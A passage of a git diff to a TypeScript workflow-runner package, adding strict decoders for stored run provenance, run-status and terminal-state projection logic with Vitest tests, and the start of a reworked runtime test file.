+      resumeCounts: [['gate', Number.MAX_SAFE_INTEGER]],
+      mutationEpoch: 0,
+    };
+    expect(decodeProgressRunProvenance(progressed)).toEqual(progressed);
+    expect(() => decodeInitialRunProvenance(progressed, 'present')).toThrow(
+      ExecutionFenceUnreadableError,
+    );
+    expect(decodeProgressRunProvenance(INITIAL)).toEqual(INITIAL);
+    expect(decodeResumeCounts([['', Number.MAX_SAFE_INTEGER]])).toEqual([
+      ['', Number.MAX_SAFE_INTEGER],
+    ]);
+  });
+  it.each([
+    0,
+    1,
+    Number.MAX_SAFE_INTEGER - 1,
+  ])('advances resume count %s exactly once', (value) => {
+    expect(nextResumeCount(value)).toBe(value + 1);
+  });
+  it.each([
+    Number.MAX_SAFE_INTEGER,
+    Number.MAX_SAFE_INTEGER + 1,
+    -1,
+    NaN,
+    Infinity,
+    0.5,
+  ])('refuses exhausted or invalid resume count %s', (value) => {
+    expect(() => nextResumeCount(value)).toThrow(
+      'run resume count cannot advance',
+    );
+  });
+  it.each([
+    undefined,
+    null,
+    [],
+    [['gate', 0]],
+    [['gate', -1]],
+    [['gate', Infinity]],
+    [['gate', 1.5]],
+    [['gate', Number.MAX_SAFE_INTEGER + 1]],
+    [['gate']],
+    [[1, 1]],
+  ])('keeps progress counts strict %#', (resumeCounts) => {
+    if (Array.isArray(resumeCounts) && resumeCounts.length === 0) {
+      expect(
+        decodeProgressRunProvenance({ ...INITIAL, resumeCounts }).resumeCounts,
+      ).toEqual([]);
+    } else
+      expect(() =>
+        decodeProgressRunProvenance({ ...INITIAL, resumeCounts }),
+      ).toThrow(ExecutionFenceUnreadableError);
+  });
+  it('reads inherited and pruned provenance without inventing root authority', () => {
+    const decoded = decodeRunStartIdentity(INITIAL);
+    expect(decoded).toEqual({
+      version: 2,
+      startToken: INITIAL.startToken,
+      startIdentity: START,
+    });
+    if (!decoded) throw new Error('expected modern data');
+    expect(
+      runExecutionIdentityFor(
+        { tablePrefix: 'Sibling_', workflowId: 'child', runId: 'run' },
+        decoded,
+      ),
+    ).toEqual({
+      tablePrefix: 'sibling_',
+      workflowId: 'child',
+      runId: 'run',
+      startToken: INITIAL.startToken,
+    });
+    expect(
+      runExecutionIdentityFor(
+        { tablePrefix: null, workflowId: 'parent', runId: 'run' },
+        decoded,
+      ).tablePrefix,
+    ).toBeNull();
+    expect(Object.isFrozen(decoded.startIdentity?.owner)).toBe(true);
+    expect(decodeRunStartIdentity(undefined)).toBeUndefined();
+    expect(decodeRunStartIdentity({ version: 1 })).toBeUndefined();
+  });
+
+  it.each([
+    null,
+    false,
+    2,
+    [],
+    {},
+    { version: 3 },
+    { version: 2 },
+    { ...INITIAL, startToken: '' },
+    {
+      ...INITIAL,
+      startIdentity: { ...START, target: { kind: 'workflow', id: '' } },
+    },
+    { ...INITIAL, agentStart: { threaded: false } },
+  ])('rejects malformed or unknown modern data %#', (value) => {
+    expect(() => decodeRunStartIdentity(value)).toThrow(
+      ExecutionFenceUnreadableError,
+    );
+  });
+
+  it('separates generation and correlation and requires the selected marker mode', () => {
+    expect(decodeInitialRunProvenance(INITIAL, 'absent')).toEqual(INITIAL);
+    const marked = { ...INITIAL, initialAdmission: true };
+    expect(decodeInitialRunProvenance(marked, 'present')).toEqual(marked);
+    expect(() => decodeInitialRunProvenance(marked, 'absent')).toThrow(
+      ExecutionFenceUnreadableError,
+    );
+    expect(() => decodeInitialRunProvenance(INITIAL, 'present')).toThrow(
+      ExecutionFenceUnreadableError,
+    );
+    expect(
+      decodeInitialRunProvenance(
+        { version: 2, startToken: 'S', attemptToken: 'H', resumeCounts: [] },
+        'absent',
+      ),
+    ).toEqual({
+      version: 2,
+      startToken: 'S',
+      attemptToken: 'H',
+      resumeCounts: [],
+    });
+  });
+
+  it.each([
+    { version: 1 },
+    { attemptToken: '' },
+    { resumeCounts: new Array(1) },
+    { resumeCounts: [['step', 0]] },
+    { resumeCounts: {} },
+    { requestedBy: undefined },
+    { startIdentity: undefined },
+    { requestedByKind: undefined },
+    { requestedBy: 'Bob' },
+    { requestedByKind: 'other' },
+    { mutationEpoch: '0' },
+    { mutationEpoch: -1 },
+    { mutationEpoch: Number.MAX_SAFE_INTEGER + 1 },
+    { initialAdmission: false },
+  ])('refuses inconsistent initial fields %#', (patch) => {
+    expect(() =>
+      decodeInitialRunProvenance({ ...INITIAL, ...patch }, 'absent'),
+    ).toThrow(ExecutionFenceUnreadableError);
+  });
+
+  it('requires agent mode only for an agent identity', () => {
+    const agent = {
+      ...INITIAL,
+      startIdentity: {
+        owner: START.owner,
+        target: { kind: 'agent', id: 'agent', threadId: 'thread' },
+      },
+      agentStart: { threaded: false },
+    };
+    expect(decodeInitialRunProvenance(agent, 'absent').agentStart).toEqual({
+      threaded: false,
+    });
+    for (const agentStart of [undefined, {}, null, { threaded: 0 }]) {
+      expect(() =>
+        decodeInitialRunProvenance({ ...agent, agentStart }, 'absent'),
+      ).toThrow(ExecutionFenceUnreadableError);
+    }
+  });
+
+  it('captures each owned getter once and returns fresh frozen data', () => {
+    const calls = new Map<string, number>();
+    const source = Object.fromEntries(Object.entries(INITIAL));
+    for (const [key, value] of Object.entries(INITIAL))
+      Object.defineProperty(source, key, {
+        get() {
+          calls.set(key, (calls.get(key) ?? 0) + 1);
+          return value;
+        },
+      });
+    const result = decodeInitialRunProvenance(source, 'absent');
+    expect([...calls.values()]).toEqual(Object.keys(INITIAL).map(() => 1));
+    expect(result).not.toBe(source);
+    expect(Object.isFrozen(result)).toBe(true);
+    expect(Object.isFrozen(result.resumeCounts)).toBe(true);
+    expect(result.startIdentity).not.toBe(START);
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/run-provenance.ts b/packages/flowsafe/src/do-runner/run-provenance.ts
new file mode 100644
index 00000000..f8eb8baa
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/run-provenance.ts
@@ -0,0 +1,235 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  type ExecutionPrincipalKind,
+  isExecutionPrincipalId,
+  isExecutionPrincipalKind,
+} from '../approval-api/principal-identity.js';
+import {
+  ExecutionFenceUnreadableError,
+  normalizeMutationEpoch,
+  normalizeRunExecutionIdentity,
+  normalizeStartIdentity,
+  type RunExecutionIdentity,
+  type StartIdentity,
+} from './execution-admission.js';
+import { isPathSafeId } from './path-safe-id.js';
+
+export interface DecodedRunStartIdentity {
+  readonly version: 2;
+  readonly startToken: string;
+  readonly startIdentity?: StartIdentity;
+  readonly agentStart?: { readonly threaded: boolean };
+}
+
+export interface InitialRunProvenance extends DecodedRunStartIdentity {
+  readonly attemptToken: string;
+  readonly requestedBy?: string;
+  readonly requestedByKind?: ExecutionPrincipalKind;
+  readonly resumeCounts: readonly [];
+  readonly mutationEpoch?: number;
+  readonly initialAdmission?: true;
+}
+
+export interface ProgressRunProvenance extends DecodedRunStartIdentity {
+  readonly attemptToken: string;
+  readonly requestedBy?: string;
+  readonly requestedByKind?: ExecutionPrincipalKind;
+  readonly resumeCounts: Array<[string, number]>;
+  readonly mutationEpoch?: number;
+  readonly initialAdmission?: true;
+}
+
+export function nextResumeCount(current: number): number {
+  if (
+    !Number.isSafeInteger(current) ||
+    current < 0 ||
+    current === Number.MAX_SAFE_INTEGER
+  )
+    throw new Error('run resume count cannot advance');
+  return current + 1;
+}
+
+export function decodeResumeCounts(value: unknown): Array<[string, number]> {
+  if (!Array.isArray(value))
+    throw new Error('stored run provenance is malformed');
+  const counts: Array<[string, number]> = [];
+  for (const entry of value) {
+    if (
+      !Array.isArray(entry) ||
+      entry.length !== 2 ||
+      typeof entry[0] !== 'string' ||
+      !Number.isSafeInteger(entry[1]) ||
+      entry[1] < 1
+    )
+      throw new Error('stored run provenance is malformed');
+    counts.push([entry[0], entry[1]]);
+  }
+  return counts;
+}
+
+export function decodeProgressRunProvenance(
+  value: unknown,
+): ProgressRunProvenance {
+  try {
+    const row = provenanceObject(value);
+    const {
+      version,
+      attemptToken,
+      requestedBy,
+      requestedByKind,
+      resumeCounts,
+      mutationEpoch: rawEpoch,
+      initialAdmission,
+    } = row;
+    if (
+      version !== 2 ||
+      !isPathSafeId(attemptToken) ||
+      (initialAdmission !== undefined && initialAdmission !== true) ||
+      ((requestedBy !== undefined || requestedByKind !== undefined) &&
+        (!isExecutionPrincipalId(requestedBy) ||
+          !isExecutionPrincipalKind(requestedByKind)))
+    )
+      throw new Error('run provenance is malformed');
+    const start = startIdentityFromObject(row);
+    const counts = decodeResumeCounts(resumeCounts);
+    const mutationEpoch = normalizeMutationEpoch(rawEpoch);
+    return {
+      ...start,
+      attemptToken,
+      ...(requestedBy === undefined
+        ? {}
+        : {
+            requestedBy: requestedBy as string,
+            requestedByKind: requestedByKind as ExecutionPrincipalKind,
+          }),
+      resumeCounts: counts,
+      ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
+      ...(initialAdmission === undefined ? {} : { initialAdmission: true }),
+    };
+  } catch (error) {
+    throw new ExecutionFenceUnreadableError('run provenance is not readable', {
+      cause: error,
+    });
+  }
+}
+
+function provenanceObject(value: unknown): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value))
+    throw new Error('run provenance must be an object');
+  return value as Record<string, unknown>;
+}
+
+function startIdentityFromObject(
+  row: Record<string, unknown>,
+): DecodedRunStartIdentity {
+  const { startToken, startIdentity: rawIdentity, agentStart: rawAgent } = row;
+  if (!isPathSafeId(startToken)) throw new Error('run start token is invalid');
+  const startIdentity =
+    rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity);
+  let agentStart: { readonly threaded: boolean } | undefined;
+  if (startIdentity?.target.kind === 'agent') {
+    const { threaded } = provenanceObject(rawAgent);
+    if (typeof threaded !== 'boolean')
+      throw new Error('agent start mode is invalid');
+    agentStart = Object.freeze({ threaded });
+  } else if (rawAgent !== undefined)
+    throw new Error('agent start mode has no agent target');
+  return Object.freeze({
+    version: 2,
+    startToken,
+    ...(startIdentity === undefined ? {} : { startIdentity }),
+    ...(agentStart === undefined ? {} : { agentStart }),
+  });
+}
+
+/** Decode role-neutral data; inherited logical targets need not name this row. */
+export function decodeRunStartIdentity(
+  value: unknown,
+): DecodedRunStartIdentity | undefined {
+  try {
+    if (value === undefined) return undefined;
+    const row = provenanceObject(value);
+    const version = row.version;
+    if (version === 1) return undefined;
+    if (version !== 2) throw new Error('run provenance version is invalid');
+    return startIdentityFromObject(row);
+  } catch (error) {
+    throw new ExecutionFenceUnreadableError(
+      'run start identity is not readable',
+      { cause: error },
+    );
+  }
+}
+
+export function runExecutionIdentityFor(
+  address: { tablePrefix: string | null; workflowId: string; runId: string },
+  decoded: DecodedRunStartIdentity,
+): RunExecutionIdentity {
+  return normalizeRunExecutionIdentity({
+    ...address,
+    startToken: decoded.startToken,
+  });
+}
+
+export function decodeInitialRunProvenance(
+  value: unknown,
+  marker: 'absent' | 'present',
+): InitialRunProvenance {
+  try {
+    const row = provenanceObject(value);
+    const {
+      version,
+      attemptToken,
+      requestedBy,
+      requestedByKind,
+      resumeCounts,
+      mutationEpoch: rawEpoch,
+      initialAdmission,
+    } = row;
+    if (
+      version !== 2 ||
+      !isPathSafeId(attemptToken) ||
+      !Array.isArray(resumeCounts) ||
+      resumeCounts.length !== 0 ||
+      (marker === 'absent'
+        ? initialAdmission !== undefined
+        : marker !== 'present' || initialAdmission !== true)
+    )
+      throw new Error('initial run provenance is malformed');
+    const start = startIdentityFromObject(row);
+    const mutationEpoch = normalizeMutationEpoch(rawEpoch);
+    if (requestedBy !== undefined || requestedByKind !== undefined) {
+      if (
+        !isExecutionPrincipalId(requestedBy) ||
+        !isExecutionPrincipalKind(requestedByKind)
+      )
+        throw new Error('initial requester is malformed');
+    }
+    if (
+      (requestedBy !== undefined && start.startIdentity === undefined) ||
+      (start.startIdentity !== undefined &&
+        (start.startIdentity.owner.id !== requestedBy ||
+          start.startIdentity.owner.kind !== requestedByKind))
+    )
+      throw new Error('initial requester disagrees with start identity');
+    return Object.freeze({
+      ...start,
+      attemptToken,
+      ...(requestedBy === undefined
+        ? {}
+        : {
+            requestedBy: requestedBy as string,
+            requestedByKind: requestedByKind as ExecutionPrincipalKind,
+          }),
+      resumeCounts: Object.freeze([]) as readonly [],
+      ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
+      ...(marker === 'present' ? { initialAdmission: true as const } : {}),
+    });
+  } catch (error) {
+    throw new ExecutionFenceUnreadableError(
+      'initial run provenance is not readable',
+      { cause: error },
+    );
+  }
+}
diff --git a/packages/flowsafe/src/do-runner/run-storage-tables.ts b/packages/flowsafe/src/do-runner/run-storage-tables.ts
new file mode 100644
index 00000000..d8ad4824
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/run-storage-tables.ts
@@ -0,0 +1,4 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// The ownership store depends on do-runner; the schema census verifies parity.
+export const RESOURCE_OWNER_TABLE = 'flowsafe_resource_owners';
diff --git a/packages/flowsafe/src/do-runner/run-terminal-state.test.ts b/packages/flowsafe/src/do-runner/run-terminal-state.test.ts
new file mode 100644
index 00000000..2921ae78
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/run-terminal-state.test.ts
@@ -0,0 +1,305 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { WorkflowRunStatus } from '@mastra/core/workflows';
+import { describe, expect, it } from 'vitest';
+import {
+  type CoreRunResult,
+  errorText,
+  isRunStatus,
+  type RunStatus,
+  terminalStateFields,
+  terminalStateUpdate,
+} from './run-terminal-state.js';
+
+const CLEARED_FIELDS = {
+  result: undefined,
+  error: undefined,
+  suspendedPaths: {},
+  waitingPaths: {},
+  resumeLabels: {},
+  activePaths: [],
+  activeStepsPath: {},
+};
+
+const CORE_RESULTS = {
+  running: { status: 'running' },
+  success: { status: 'success', result: { completed: true } },
+  failed: { status: 'failed', error: 'step failed' },
+  tripwire: { status: 'tripwire', tripwire: { reason: 'stop here' } },
+  suspended: {
+    status: 'suspended',
+    suspended: [['approval']],
+    suspendPayload: { reason: 'review' },
+  },
+  waiting: { status: 'waiting' },
+  pending: { status: 'pending' },
+  canceled: { status: 'canceled' },
+  bailed: { status: 'bailed' },
+  paused: { status: 'paused' },
+  skipped: { status: 'skipped' },
+} satisfies Record<WorkflowRunStatus, CoreRunResult>;
+
+const RUN_STATUSES = {
+  running: true,
+  success: true,
+  failed: true,
+  tripwire: true,
+  suspended: true,
+  waiting: true,
+  pending: true,
+  canceled: true,
+  bailed: true,
+  paused: true,
+  skipped: true,
+  waiting_callback: true,
+  waiting_signal: true,
+  retry_wait: true,
+  cancelled: true,
+  timed_out: true,
+} satisfies Record<RunStatus, true>;
+
+describe('isRunStatus', () => {
+  it.each(
+    Object.keys(RUN_STATUSES),
+  )('recognizes existing status %s', (status) => {
+    expect(isRunStatus(status)).toBe(true);
+  });
+
+  it.each([
+    undefined,
+    null,
+    false,
+    0,
+    {},
+    [],
+    { status: 'running' },
+    '',
+    'completed',
+    'error',
+    'RUNNING',
+    ' running',
+  ])('rejects a value outside the existing status union: %j', (value) => {
+    expect(isRunStatus(value)).toBe(false);
+  });
+});
+
+describe('terminalStateFields', () => {
+  it.each(
+    Object.keys(RUN_STATUSES) as RunStatus[],
+  )('keeps %s and explicitly clears every common terminal field', (status) => {
+    expect(terminalStateFields(status)).toStrictEqual({
+      status,
+      ...CLEARED_FIELDS,
+    });
+  });
+
+  it('does not share mutable control-path containers between projections', () => {
+    const first = terminalStateFields('cancelled');
+    const second = terminalStateFields('timed_out');
+    for (const field of [
+      'suspendedPaths',
+      'waitingPaths',
+      'resumeLabels',
+      'activePaths',
+      'activeStepsPath',
+    ] as const) {
+      expect(first[field]).not.toBe(second[field]);
+    }
+  });
+});
+
+describe('terminalStateUpdate', () => {
+  it.each([
+    'running',
+    'suspended',
+    'waiting',
+    'pending',
+    'paused',
+  ] as const)('does not overwrite the existing nonterminal %s state', (status) => {
+    const result = CORE_RESULTS[status];
+    const before = structuredClone(result);
+    expect(terminalStateUpdate(result)).toBeUndefined();
+    expect(result).toStrictEqual(before);
+  });
+
+  it.each([
+    'tripwire',
+    'canceled',
+    'bailed',
+    'skipped',
+  ] as const)('preserves the existing common-only %s projection', (status) => {
+    expect(terminalStateUpdate(CORE_RESULTS[status])).toStrictEqual({
+      status,
+      ...CLEARED_FIELDS,
+    });
+  });
+
+  it.each([
+    [undefined],
+    [null],
+    [false],
+    [0],
+    ['done'],
+    [[1, 2]],
+    [{ completed: true }],
+  ])('preserves the successful result without coercion: %j', (result) => {
+    const update = terminalStateUpdate({ status: 'success', result });
+    expect(update).toStrictEqual({
+      status: 'success',
+      ...CLEARED_FIELDS,
+      result,
+    });
+    expect(update?.result).toBe(result);
+  });
+
+  it('preserves an Error name, message and stack without its other fields', () => {
+    const error = new Error('connector failed', { cause: new Error('cause') });
+    error.name = 'ConnectorError';
+    error.stack = 'ConnectorError: connector failed\n  at step';
+    expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({
+      status: 'failed',
+      ...CLEARED_FIELDS,
+      error: {
+        name: 'ConnectorError',
+        message: 'connector failed',
+        stack: 'ConnectorError: connector failed\n  at step',
+      },
+    });
+    expect(error.cause).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    ['plain failure', { name: 'Error', message: 'plain failure' }],
+    [null, { name: 'Error', message: 'null' }],
+    [undefined, { name: 'Error', message: 'undefined' }],
+    [17, { name: 'Error', message: '17' }],
+    [
+      {
+        name: 'SerializedError',
+        message: 'stored failure',
+        stack: 'stored stack',
+        detail: 'not projected',
+      },
+      {
+        name: 'SerializedError',
+        message: 'stored failure',
+        stack: 'stored stack',
+      },
+    ],
+    [
+      { name: '', message: '', stack: '' },
+      { name: '', message: '', stack: '' },
+    ],
+    [
+      { name: 3, message: 'only message', stack: false },
+      { name: 'Error', message: 'only message' },
+    ],
+    [
+      { name: 'NamedError', message: 3, stack: 8 },
+      { name: 'NamedError', message: '[object Object]' },
+    ],
+  ])('keeps the existing serialized failure projection: %j', (error, expected) => {
+    expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({
+      status: 'failed',
+      ...CLEARED_FIELDS,
+      error: expected,
+    });
+  });
+
+  it('retains supported inherited serialized error fields', () => {
+    const error: unknown = Object.create({
+      name: 'InheritedError',
+      message: 'inherited failure',
+      stack: 'inherited stack',
+    });
+    expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({
+      status: 'failed',
+      ...CLEARED_FIELDS,
+      error: {
+        name: 'InheritedError',
+        message: 'inherited failure',
+        stack: 'inherited stack',
+      },
+    });
+  });
+
+  it('projects the fixed unknown-effects failure without inventing a stack', () => {
+    const error = {
+      name: 'StartOutcomeUnknown',
+      message:
+        'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.',
+    };
+    expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({
+      status: 'failed',
+      ...CLEARED_FIELDS,
+      error: {
+        name: 'StartOutcomeUnknown',
+        message:
+          'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.',
+      },
+    });
+    expect(error).not.toHaveProperty('stack');
+  });
+});
+
+describe('errorText', () => {
+  it.each([
+    [new Error('native failure'), 'native failure'],
+    [new Error(''), ''],
+    ['string failure', 'string failure'],
+    ['', ''],
+    [{ message: 'serialized failure' }, 'serialized failure'],
+    [{ message: '' }, ''],
+    [null, 'null'],
+    [undefined, 'undefined'],
+    [false, 'false'],
+    [42, '42'],
+    [Symbol('failure'), 'Symbol(failure)'],
+    [{ message: 42 }, '[object Object]'],
+    [{ message: 42, toString: () => 'custom fallback' }, 'custom fallback'],
+  ])('preserves the existing error text for %j', (error, expected) => {
+    expect(errorText(error)).toBe(expected);
+  });
+
+  it('preserves a fault from the existing fallback conversion', () => {
+    const fault = new Error('conversion failed');
+    expect(() =>
+      errorText({
+        toString: () => {
+          throw fault;
+        },
+      }),
+    ).toThrow(fault);
+  });
+});
+
+describe('FS8 D3 Runtime activation', () => {
+  it('shares the eight terminal statuses while retaining extended waiting states', async () => {
+    const { isTerminalRunStatus } = await import('./run-terminal-state.js');
+    for (const status of [
+      'success',
+      'failed',
+      'tripwire',
+      'canceled',
+      'bailed',
+      'skipped',
+      'cancelled',
+      'timed_out',
+    ])
+      expect(isTerminalRunStatus(status)).toBe(true);
+    for (const status of [
+      'running',
+      'suspended',
+      'waiting',
+      'pending',
+      'paused',
+      'waiting_callback',
+      'waiting_signal',
+      'retry_wait',
+      undefined,
+      null,
+      'unknown',
+    ])
+      expect(isTerminalRunStatus(status)).toBe(false);
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/run-terminal-state.ts b/packages/flowsafe/src/do-runner/run-terminal-state.ts
new file mode 100644
index 00000000..411865fc
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/run-terminal-state.ts
@@ -0,0 +1,146 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { UpdateWorkflowStateOptions } from '@mastra/core/storage';
+import type { WorkflowRunStatus, WorkflowState } from '@mastra/core/workflows';
+import type { RunTerminalStatus } from './run-lifecycle.js';
+
+export type RunStatus =
+  | WorkflowRunStatus
+  | 'waiting_callback'
+  | 'waiting_signal'
+  | 'retry_wait'
+  | RunTerminalStatus;
+
+export type CoreRunResult =
+  | { status: 'success'; result: unknown }
+  | { status: 'failed'; error: unknown }
+  | {
+      status: 'suspended';
+      suspended: [string[], ...string[][]];
+      suspendPayload?: unknown;
+      steps?: WorkflowState['steps'];
+    }
+  | { status: 'tripwire'; tripwire: { reason: string } }
+  | {
+      status: Exclude<
+        WorkflowRunStatus,
+        'success' | 'failed' | 'suspended' | 'tripwire'
+      >;
+    };
+
+const RUN_STATUSES = {
+  running: true,
+  success: true,
+  failed: true,
+  tripwire: true,
+  suspended: true,
+  waiting: true,
+  pending: true,
+  canceled: true,
+  bailed: true,
+  paused: true,
+  skipped: true,
+  waiting_callback: true,
+  waiting_signal: true,
+  retry_wait: true,
+  cancelled: true,
+  timed_out: true,
+} satisfies Record<RunStatus, true>;
+
+export function isRunStatus(value: unknown): value is RunStatus {
+  return typeof value === 'string' && Object.hasOwn(RUN_STATUSES, value);
+}
+
+export function isTerminalRunStatus(value: unknown): boolean {
+  return (
+    value === 'success' ||
+    value === 'failed' ||
+    value === 'tripwire' ||
+    value === 'canceled' ||
+    value === 'bailed' ||
+    value === 'skipped' ||
+    value === 'cancelled' ||
+    value === 'timed_out'
+  );
+}
+
+const NONTERMINAL_RUN_STATUSES = new Set<WorkflowRunStatus>([
+  'running',
+  'suspended',
+  'waiting',
+  'pending',
+  'paused',
+]);
+
+export function terminalStateFields(
+  status: RunStatus,
+): UpdateWorkflowStateOptions {
+  return {
+    status: status as WorkflowRunStatus,
+    result: undefined,
+    error: undefined,
+    suspendedPaths: {},
+    waitingPaths: {},
+    resumeLabels: {},
+    activePaths: [],
+    activeStepsPath: {},
+  };
+}
+
+export function terminalStateUpdate(
+  result: CoreRunResult,
+): UpdateWorkflowStateOptions | undefined {
+  if (NONTERMINAL_RUN_STATUSES.has(result.status)) return undefined;
+  const common = terminalStateFields(result.status);
+  if (result.status === 'success') {
+    return {
+      ...common,
+      result: result.result as UpdateWorkflowStateOptions['result'],
+    };
+  }
+  if (result.status === 'failed') {
+    const error = result.error;
+    const name =
+      error instanceof Error
+        ? error.name
+        : error !== null &&
+            typeof error === 'object' &&
+            'name' in error &&
+            typeof (error as { name: unknown }).name === 'string'
+          ? (error as { name: string }).name
+          : 'Error';
+    const stack =
+      error instanceof Error
+        ? error.stack
+        : error !== null &&
+            typeof error === 'object' &&
+            'stack' in error &&
+            typeof (error as { stack: unknown }).stack === 'string'
+          ? (error as { stack: string }).stack
+          : undefined;
+    return {
+      ...common,
+      error: {
+        name,
+        message: errorText(error),
+        ...(stack !== undefined ? { stack } : {}),
+      },
+    };
+  }
+  return common;
+}
+
+// Persistence may serialize an Error into a plain object.
+export function errorText(error: unknown): string {
+  if (error instanceof Error) return error.message;
+  if (typeof error === 'string') return error;
+  if (
+    error !== null &&
+    typeof error === 'object' &&
+    'message' in error &&
+    typeof (error as { message: unknown }).message === 'string'
+  ) {
+    return (error as { message: string }).message;
+  }
+  return String(error);
+}
diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts
index 4c34a9a2..25d64e9a 100644
--- a/packages/flowsafe/src/do-runner/runtime.test.ts
+++ b/packages/flowsafe/src/do-runner/runtime.test.ts
@@ -1,23 +1,63 @@
 // SPDX-License-Identifier: Apache-2.0
 import { Agent } from '@mastra/core/agent';
-import { InMemoryStore } from '@mastra/core/storage';
-import { describe, expect, it, vi } from 'vitest';
+import { Mastra } from '@mastra/core/mastra';
+import type { RequestContext } from '@mastra/core/request-context';
+import { InMemoryStore, type MastraCompositeStore } from '@mastra/core/storage';
+import type { WorkflowRunState } from '@mastra/core/workflows';
+import {
+  createConnector,
+  invokeConnector,
+} from '@proofoftech/breakwater/connector-sdk';
+import { assert, describe, expect, expectTypeOf, it, vi } from 'vitest';
 import { z } from 'zod';
-
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import {
+  D1ResourceOwnershipStore,
+  type ResourceOwnershipDatabase,
+} from '../approval-api/resource-ownership.js';
+import { createBackgroundTaskD1Domains } from '../background-tasks/d1-storage.js';
+import type { D1DatabaseBinding } from './cf-types.js';
+import { createD1Storage } from './d1-storage.js';
+import {
+  type D1RunExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  InvalidExecutionIdentityError,
+  InvalidMutationEpochError,
+  normalizeD1RunExecutionIdentity,
+  RunStartPendingError,
+} from './execution-admission.js';
+import {
+  type ExecutionFenceDatabase,
+  ExecutionFenceStore,
+} from './execution-fence.js';
+import {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+} from './fenced-workflow-capability.js';
+import type { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js';
 import { RunStateUnreadableError as BarrelRunStateUnreadableError } from './index.js';
 import { init } from './init.js';
 import { createHostPubSub } from './pubsub.js';
 import {
+  RunLifecycleBlockedError as LeafRunLifecycleBlockedError,
+  parseRunLifecycle,
+} from './run-lifecycle.js';
+import {
+  type AuthoritativeStartState,
   InvalidRunRequestError,
+  type LegacyRunState,
   type RequestContextProvider,
   RunAlreadyExistsError,
   type RunLeg,
+  RunLifecycleBlockedError,
   RunNotSuspendedError,
   type RunnerRuntime,
   RunStateUnreadableError,
   type RunSummary,
+  type StartRunOptions,
   UnknownWorkflowError,
 } from './runtime.js';
+import { StartIdempotencyStore } from './start-idempotency.js';
 import {
   isReadableRunSummary,
   isSuspensionTimeoutResumeData,
@@ -29,3672 +69,9909 @@ import {
   suspensionTimeoutResumeData,
 } from './suspension-deadline.js';
 
-interface Counters {
-  /** Times the approval step's post-approval body ran (the gated action). */
-  approvalResumes: number;
-  /** Times the echo step executed. */
-  echoRuns: number;
-}
-
-function runtimeAgent(id: string): Agent {
-  return new Agent({
-    id,
-    name: id,
-    instructions: 'Test agent.',
-    model: 'openai/gpt-4o-mini',
-  });
+function d1Snapshot(
+  status: RunSummary['status'] = 'success',
+): WorkflowRunState & {
+  requestContext: NonNullable<WorkflowRunState['requestContext']>;
+} {
+  return {
+    runId: 'd1-run',
+    status: status as WorkflowRunState['status'],
+    result: { source: 'S1' },
+    error: { name: 'Error', message: 'S1 failure' },
+    context: {
+      gate: {
+        status: 'suspended',
+        payload: {},
+        startedAt: 50,
+        suspendPayload: { source: 'S1' },
+        suspendedAt: 100,
+        ...{ resumedAt: 90 },
+      },
+    },
+    requestContext: {
+      'flowsafe.runProvenance': {
+        version: 2,
+        startToken: 'S1',
+        attemptToken: 'attempt-1',
+        startIdentity: {
+          owner: { kind: 'human', id: 'owner' },
+          target: { kind: 'workflow', id: 'd1-workflow' },
+        },
+        requestedBy: 'owner',
+        requestedByKind: 'human',
+        resumeCounts: [['gate', 2]],
+      },
+    },
+    value: {},
+    serializedStepGraph: [],
+    activePaths: [],
+    activeStepsPath: {},
+    suspendedPaths: { gate: [0] },
+    resumeLabels: {},
+    waitingPaths: {},
+    timestamp: 100,
+  };
 }
 
-// demo-approval: research -> approval (suspends; counts resumed executions).
-// echo: single step, completes immediately (counts executions).
-function buildRuntime(storage: InMemoryStore): {
-  runtime: RunnerRuntime;
-  counters: Counters;
-} {
-  const counters: Counters = { approvalResumes: 0, echoRuns: 0 };
-  const { createWorkflow, createStep, runtime } = init(
+async function d1Fixture(
+  kind: 'default' | 'prefixed' | 'background' | 'unfenced' = 'default',
+  bound: 'none' | 'fence' | 'start' = 'none',
+) {
+  const sql = openSqlite() as ReturnType<typeof openSqlite> & { close(): void };
+  const binding = sqliteUnitDatabase(sql) as D1DatabaseBinding;
+  const storage =
+    kind === 'unfenced'
+      ? new InMemoryStore()
+      : createD1Storage({
+          binding,
+          ...(kind === 'prefixed' ? { tablePrefix: 'D1_' } : {}),
+          ...(kind === 'background'
+            ? { domains: createBackgroundTaskD1Domains({ binding }) }
+            : {}),
+        });
+  await storage.init();
+  const app = init(
     { storage },
-    { startIdempotency: 'none', executionFence: 'none' },
-  );
-
-  const research = createStep({
-    id: 'research',
-    inputSchema: z.object({ topic: z.string() }),
-    outputSchema: z.object({ topic: z.string(), notes: z.string() }),
-    execute: async ({ inputData }) => ({
-      topic: inputData.topic,
-      notes: `notes:${inputData.topic}`,
-    }),
-  });
-  const approval = createStep({
-    id: 'approval',
-    inputSchema: z.object({ topic: z.string(), notes: z.string() }),
-    outputSchema: z.object({
-      topic: z.string(),
-      notes: z.string(),
-      approvedBy: z.string(),
-    }),
-    suspendSchema: z.object({ reason: z.string() }),
-    resumeSchema: z.object({ approvedBy: z.string() }),
